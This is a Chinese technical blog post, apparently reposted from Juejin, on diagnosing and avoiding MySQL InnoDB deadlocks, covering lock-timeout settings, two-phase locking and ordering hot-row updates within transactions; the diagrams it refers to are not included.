发生死锁后,InnoDB 一般都能自动检测到,并使一个事务释放锁并回退,另一个事务获得锁,继续完成事务;但在涉及外部锁,或涉及表锁的情况下,InnoDB 并不能完全自动检测到死锁, 这需要通过设置锁等待超时参数 innodb_lock_wait_timeout 来解决

死锁影响性能

死锁会影响性能而不是会产生严重错误,因为InnoDB会自动检测死锁状况并回滚其中一个受影响的事务。在高并发系统上,当许多线程等待同一个锁时,死锁检测可能导致速度变慢。 有时当发生死锁时,禁用死锁检测(使用innodb_deadlock_detect配置选项)可能会更有效,这时可以依赖innodb_lock_wait_timeout设置进行事务回滚

查看死锁

show engine innodb status \G

使用命令来确定最后一个死锁产生的原因;返回结果中包括死锁相关事务的详细信息,如引发死锁的 SQL 语句,事务已经获得的锁,正在等待什么锁,以及被回滚的事务等。据此可以分析死锁产生的原因和改进措施。

锁使用与优化

优化方案

  1. 尽量用相等条件访问数据,这样可以避免间隙锁对并发插入的影响
  2. 不同的程序访问一组表时,应尽量约定以相同的顺序访问各表,对一个表而言,尽可能以固定的顺序存取表中的行;这样可以大大减少死锁的机会
  3. 给记录集显式加锁时,最好一次性请求足够级别的锁;比如要修改数据的话,最好直接申请排他锁,而不是先申请共享锁,修改时再请求排他锁,这样容易产生死锁;但是也不要申请超过实际需要的锁级别
  4. 除非必须,查询时不要显式加锁;MySQL的MVCC可以实现事务中的查询不用加锁,优化事务性能;MVCC只在COMMITTED READ(读提交)和REPEATABLE READ(可重复读)两种隔离级别下工作
  5. 尽量使用较低的隔离级别;但是也需要考虑业务场景,选择合适的隔离级别,默认隔离级别 RR(可重复读)
  6. 选择合理的事务大小,小事务(事务中包含的sql语句较少、设计到的表的 数据/容量 较小)发生锁冲突的几率也更小,也会减少锁定资源量和时间长度
  7. 对于一些特定的事务,可以使用表锁来提高处理速度或减少死锁的可能

加锁解锁过程示例讲解

2PL,两阶段加锁协议:主要用于单机事务中的一致性与隔离性

在一个事务里面,分为 加锁(lock) 阶段和 解锁(unlock) 阶段,也即所有的lock操作都在unlock操作之前,如下图所示:

引入2PL是为了保证事务的隔离性,即多个事务在并发的情况下等同于串行的执行

在数学上证明了如下的封锁定理:

如果事务是良构的且是两阶段的,那么任何一个合法的调度都是隔离的

在实际情况下,SQL是千变万化、条数不定的,数据库很难在事务中判定什么是加锁阶段,什么是解锁阶段

于是引入了S2PL(Strict-2PL),即:

在事务中只有提交(commit)或者回滚(rollback)时才是解锁阶段,其余时间为加锁阶段

如下图所示:

上面很好的解释了两阶段加锁,现在我们分析下其对性能的影响。考虑下面两种不同的扣减库存的方案:

由于在同一个事务之内,这几条对数据库的操作应该是等价的;但在两阶段加锁下的性能确是有比较大的差距

两者方案的时序如下图所示:

值得注意的是:

在更新到数据库的那个时间点才算锁成功

提交到数据库的时候才算解锁成功

这两个round_trip的前半段是不会计算在内的

如下图所示:

由于库存往往是最重要的热点,是整个系统的瓶颈;

那么如果采用第二种方案的话, tps应该理论上能够提升 3rt/rt=3倍,这还仅仅是业务就只有三条SQL的情况下, 多一条sql就多一次rt,就多一倍的时间

从上面的例子中,可以看出,需要把最热点的记录,放到事务最后,这样可以显著的提高吞吐量

更进一步: 越热点记录离事务的终点越近(无论是commit还是rollback)

先后顺序如下图:

死锁 是任何SQL加锁不可避免的,上文提到了按照记录Key的热度在事务中倒序排列

那么写代码的时候任何可能并发的SQL都必须按照这种顺序来处理,不然会造成死锁

如下图所示:

使用乐观锁来避免死锁,分析 select for update 和 update where 谓词计算

我们可以直接将一些简单的判断逻辑写到update的谓词里面,以减少加锁时间,考虑下面两种方案:

时延如下图所示:

可以看到,通过在update中加谓词计算,少了1rt的时间

由于update在执行过程中对符合谓词条件的记录加的是和select for update一致的排它锁,所以两者效果一样

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…105106107…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%